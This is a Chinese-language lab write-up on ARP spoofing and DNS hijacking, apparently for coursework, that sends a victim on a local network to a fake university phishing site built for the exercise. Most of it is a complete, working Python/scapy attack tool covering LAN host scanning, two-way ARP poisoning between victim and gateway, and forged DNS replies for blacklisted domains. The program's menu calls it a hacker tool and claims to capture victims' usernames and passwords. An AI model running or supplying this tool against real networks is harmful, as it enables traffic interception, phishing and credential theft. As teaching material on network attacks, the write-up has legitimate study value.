ARP攻击与DNS劫持,使被攻击者进入钓鱼网站

实验环境

(因为实验条件有限,虚拟机都采用的是桥接模式,可以与物理机在同一个网段)

钓鱼网站: 虚拟机Windows 2008搭建的网站;IP地址:192.168.43.21;

攻击者: 物理机win7;IP地址:192.168.43.50;

被攻击者: 虚拟机win7;IP地址:192.168.43.96;

实验目的

通过DNS劫持,将被攻击者的域名请求解析为错误的IP地址(钓鱼网站的IP地址),并返回给被攻击者,使得被攻击者进入钓鱼网站,达到实验的目的;

DNS劫持

DNS劫持又称域名,是指在劫持的网络范围内拦截域名解析的请求,分析请求的域名,把审查范围以外的请求放行,否则返回假的IP地址或者什么都不做使请求失去响应,其效果就是对特定的网络不能访问或访问的是假网址。如下如所示,帮助大家更好的理解DNS挟持:

ARP攻击与DNS劫持,使被攻击者进入钓鱼网站

 实验步骤

(1) 首先在Windows上搭建一个web服务站点(搭建的过程不再多做叙述),如下图所示,搭建一个假的西安理工大学的网站:

ARP攻击与DNS劫持,使被攻击者进入钓鱼网站

(2) 使用scapy模块扫描出局域网内的活跃的主机,打印出IP地址和MAC地址,选择局域网中的某个主机进行DNS劫持;

        代码如下:

#扫描局域网,显示活跃主机
def scan():
    global gw
    for line in os.popen('route print'):
        s=line.strip()   #去掉每行的空格
        if s.startswith('0.0.0.0'):
            slist=s.split()
            ip=slist[3]
            gw=slist[2]
            break
    print('本机上网的IP是:',ip)
    print('本机上网的网关是:', gw)
    tnet=gw+'/24'      #本网络

    #构造一个ARP广播包,向整个网络的每台主机发起ARP广播
    p = Ether(dst='ff:ff:ff:ff:ff:ff') / ARP(pdst=tnet)
    #ans 表示收到的包的回复
    ans, unans = srp(p, iface=wifi, timeout=2,verbose=0)
    print("一共扫描到%d台主机:" % len(ans))
    #将需要的IP地址和Mac地址存放在result列表中
    result = []
    for s, r in ans:
        # 解析收到的包,提取出需要的IP地址和MAC地址
        result.append([r[ARP].psrc, r[ARP].hwsrc])
    result.sort()
    #打印出活跃主机的IP地址和MAC地址
    for ip, mac in result:
        print(ip, "------>", mac)

(3) ARP欺骗分两种,一是主机型欺骗,而是网关型欺骗;

     选择局域网内的某个主机进行ARP欺骗,使被攻击者认为我就是网关;

    再去欺骗网关,我是被攻击者,实现双向欺骗,使自己位于网关和被攻击者间的透明中继;

    代码如下:

#ARP攻击
def spoof():
    target=input("请输入攻击目标:")
    t=int(input("请输入攻击时间(S):"))

    ct=Thread(target=capture,args=(target,t))
    ct.start()

    for i in range(2*int(t)):
        # 构造欺骗数据包,告诉被攻击者,我是网关(双向欺骗)
        sendp(Ether(dst='ff:ff:ff:ff:ff:ff', src='c8:3d:d4:7b:c1:47') / ARP(pdst=target, psrc=gw),verbose=0)
        # 构造欺骗数据包,告诉网关,我是被攻击者
        sendp(Ether(dst='ff:ff:ff:ff:ff:ff', src='c8:3d:d4:7b:c1:47') / ARP(pdst=gw, psrc=target),verbose=0)
        time.sleep(0.5)
    ct.join()
    print("攻击结束!")

(4)  欺骗成功后,就可以对其进行DNS劫持,在劫持的网络范围内(即blacklist)拦截域名解析的请求,分析请求的域名,把审查范围以外的请求放行,否则返回假的IP地址,其效果就是访问的是假网址。

   代码如下:

#自动的向某个网站回复数据包
def dnsreply(p):
    #抓取的包有DNS才会进行下面的操作
    if p.haslayer(DNS):
        ip=p[IP]
        udp=p[UDP]
        dns=p[DNS]
        #获取请求的域名
        domain=dns.qd.qname.decode()[:-1]
        print('收到一个请求:——————>',domain)
        #如果请求的域名在黑名单中,则进行DNS劫持,并返回被攻击者一个假的网站;
        if domain in blacklist:
            nip=IP(src=ip.dst,dst=ip.src)
            nudp=UDP(sport=udp.dport,dport=udp.sport)
            ndns=DNS(id=dns.id,qr=1,qd=dns.qd,an=DNSRR(rrname=dns.qd.qname,rdata='192.168.43.21'))
            #构造一个返回的包,显示的是自己搭建的假网站
            send(nip/nudp/ndns)
            print('%s---->192.168.43.21'%domain)

(5) 上述操作结束后,就可以实现对目的主机的攻击和欺骗。

        全部代码如下:

#DNS劫持演练
from scapy.all import *
import os
import time 
from threading import Thread

blacklist=['www.topsec.com','www.xiyou.edu.cn']
gw=''
wifi = 'Realtek 8821AE Wireless LAN 802.11ac PCI-E NIC'
#扫描局域网,显示活跃主机
def scan():
    global gw
    for line in os.popen('route print'):
        s=line.strip()   #去掉每行的空格
        if s.startswith('0.0.0.0'):
            slist=s.split()
            ip=slist[3]
            gw=slist[2]
            break
    print('本机上网的IP是:',ip)
    print('本机上网的网关是:', gw)
    tnet=gw+'/24'      #本网络

    #构造一个ARP广播包,向整个网络的每台主机发起ARP广播
    p = Ether(dst='ff:ff:ff:ff:ff:ff') / ARP(pdst=tnet)
    #ans 表示收到的包的回复
    ans, unans = srp(p, iface=wifi, timeout=2,verbose=0)
    print("一共扫描到%d台主机:" % len(ans))
    #将需要的IP地址和Mac地址存放在result列表中
    result = []
    for s, r in ans:
        # 解析收到的包,提取出需要的IP地址和MAC地址
        result.append([r[ARP].psrc, r[ARP].hwsrc])
    result.sort()
    #打印出活跃主机的IP地址和MAC地址
    for ip, mac in result:
        print(ip, "------>", mac)

#抓包
def capture(target,t):
    tj="udp dst port 53 and host "+target
    pkts=sniff(filter=tj,prn=dnsreply,timeout=t)
    
#自动的向某个网站回复数据包
def dnsreply(p):
    #抓取的包有DNS才会进行下面的操作
    if p.haslayer(DNS):
        ip=p[IP]
        udp=p[UDP]
        dns=p[DNS]
        #获取请求的域名
        domain=dns.qd.qname.decode()[:-1]
        print('收到一个请求:——————>',domain)
        #如果请求的域名在黑名单中,则进行DNS劫持,并返回被攻击者一个假的网站;
        if domain in blacklist:
            nip=IP(src=ip.dst,dst=ip.src)
            nudp=UDP(sport=udp.dport,dport=udp.sport)
            ndns=DNS(id=dns.id,qr=1,qd=dns.qd,an=DNSRR(rrname=dns.qd.qname,rdata='192.168.43.21'))
            #构造一个返回的包,显示的是自己搭建的假网站
            send(nip/nudp/ndns)
            print('%s---->192.168.43.21'%domain)


#ARP攻击
def spoof():
    target=input("请输入攻击目标:")
    t=int(input("请输入攻击时间(S):"))

    ct=Thread(target=capture,args=(target,t))
    ct.start()

    for i in range(2*int(t)):
        # 构造欺骗数据包,告诉被攻击者,我是网关(双向欺骗)
        sendp(Ether(dst='ff:ff:ff:ff:ff:ff', src='c8:3d:d4:7b:c1:47') / ARP(pdst=target, psrc=gw),verbose=0)
        # 构造欺骗数据包,告诉网关,我是被攻击者
        sendp(Ether(dst='ff:ff:ff:ff:ff:ff', src='c8:3d:d4:7b:c1:47') / ARP(pdst=gw, psrc=target),verbose=0)
        time.sleep(0.5)
    ct.join()
    print("攻击结束!")

    
def main():
    print("==================欢迎使用橘子女侠的黑客工具!===================")
    while 1:
        sel=input("请选择要进行的操作:1.局域网扫描,2.ARP攻击和DNS劫持,3.退出\n")
        #局域网扫描
        if sel=='1':
            scan()
        #ARP欺骗和攻击,并获取被攻击者的上网信息(用户名和密码)
        elif sel=='2':
            if not gw:
                print("请先执行扫描程序")
            else:
                spoof()
        elif sel=='3':
            print("欢迎下次使用,再见!")
            break
        else:
            print("输入有误,请重新输入!")

if __name__=="__main__":
    main()

(6) 查看实验结果,当在被攻击者那端输入黑名单上的域名时,就会被拦截,不在黑名单上的就会被放行。

ARP攻击与DNS劫持,使被攻击者进入钓鱼网站

(7) 当在被攻击端输入www.topsec.com时,模拟发包,成功欺骗;

ARP攻击与DNS劫持,使被攻击者进入钓鱼网站

在被攻击端显示的就是钓鱼网站的信息;

 ARP攻击与DNS劫持,使被攻击者进入钓鱼网站

(8) 当在被攻击端输入www.xiyou.edu.cn时,模拟发包,成功欺骗;

ARP攻击与DNS劫持,使被攻击者进入钓鱼网站

在被攻击端显示的就是钓鱼网站的信息;

ARP攻击与DNS劫持,使被攻击者进入钓鱼网站

(9) 通过Wireshark抓包查看DNS劫持的情况

ARP攻击与DNS劫持,使被攻击者进入钓鱼网站

 ARP攻击与DNS劫持,使被攻击者进入钓鱼网站